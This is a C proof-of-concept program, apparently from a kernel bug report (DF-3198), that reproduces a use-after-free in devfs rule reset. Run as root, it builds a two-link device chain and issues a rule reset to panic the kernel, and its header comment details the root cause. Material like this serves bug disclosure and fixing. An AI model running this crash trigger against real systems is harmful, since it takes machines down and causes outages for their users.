DF-3198 / uaf_reset.c
/* * DF-3198 - devfs_rule_reset_node() use-after-free during rule RESET. * * devfs_apply_reset_rules_caller() (devfs_core.c:1912) walks the topology * with devfs_iterate_topology(), whose TAILQ_FOREACH_MUTABLE saves `node2' * (the next sibling) BEFORE descending. The callback devfs_rule_reset_node() * (devfs_rules.c:213) calls devfs_gc() on rule-created links, which FREES * arbitrary other nodes (devfs_gc_links_callback frees every link whose * link_target == the node; devfs_gc_dirs_callback frees empty dirs) -- * including nodes the walker still holds as cursors. When the walk then * revisits the freed node, reset_node() runs on freed memory: * KKASSERT(node->link_target) fails (link_target was NULLed by the first * unlink) on INVARIANTS kernels; on production kernels the subsequent * --node->link_target->nlinks writes through NULL (low-address page fault). * * Setup: two LINK rules building a link chain L2 -> L1 -> null. * RESET "*" then frees L2 while resetting L1, walks onto freed L2, and dies. * * Build: cc -static -O -o uaf_reset uaf_reset.c * Run : ./uaf_reset (as root; expect kernel panic in reset) * Success marker: panic in devfs_rule_reset_node / devfs_tracer_add_orphan * (guest stays wedged in DDB; "SURVIVED" must NOT appear). */ #include <sys/ioctl.h> #include <limits.h> #include <sys/devfs_rules.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <err.h> static int fd; static void addrule(const char *name, const char *linkname) { struct devfs_rule_ioctl r; memset(&r, 0, sizeof(r)); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_LINK; strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); strlcpy(r.name, name, sizeof(r.name)); strlcpy(r.linkname, linkname, sizeof(r.linkname)); if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0) err(1, "DEVFS_RULE_ADD %s->%s", name, linkname); printf("rule added: name=\"%s\" linkname=\"%s\"\n", name, linkname); } static void applyall(void) { struct devfs_rule_ioctl r; memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0) err(1, "DEVFS_RULE_APPLY"); } static void resetall(void) { struct devfs_rule_ioctl r; memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); if (ioctl(fd, DEVFS_RULE_RESET, &r) < 0) err(1, "DEVFS_RULE_RESET"); } int main(void) { system("ls -l /dev/L1 /dev/L2 2>&1"); fd = open("/dev/devfs", O_RDWR); if (fd < 0) err(1, "open /dev/devfs"); /* L1 -> null, then L2 -> L1 (link-to-link chain) */ addrule("null", "L1"); addrule("L1", "L2"); applyall(); printf("rules applied; sleeping for async core thread\n"); sleep(2); if (system("ls -l /dev/L1 /dev/L2") != 0) errx(1, "chain not created (/dev/L1,/dev/L2 missing)"); printf("chain created: /dev/L2 -> /dev/L1 -> /dev/null\n"); printf("issuing DEVFS_RULE_RESET '*' -- expect UAF panic now\n"); fflush(stdout); resetall(); sleep(3); printf("SURVIVED (no panic)\n"); return 0; } |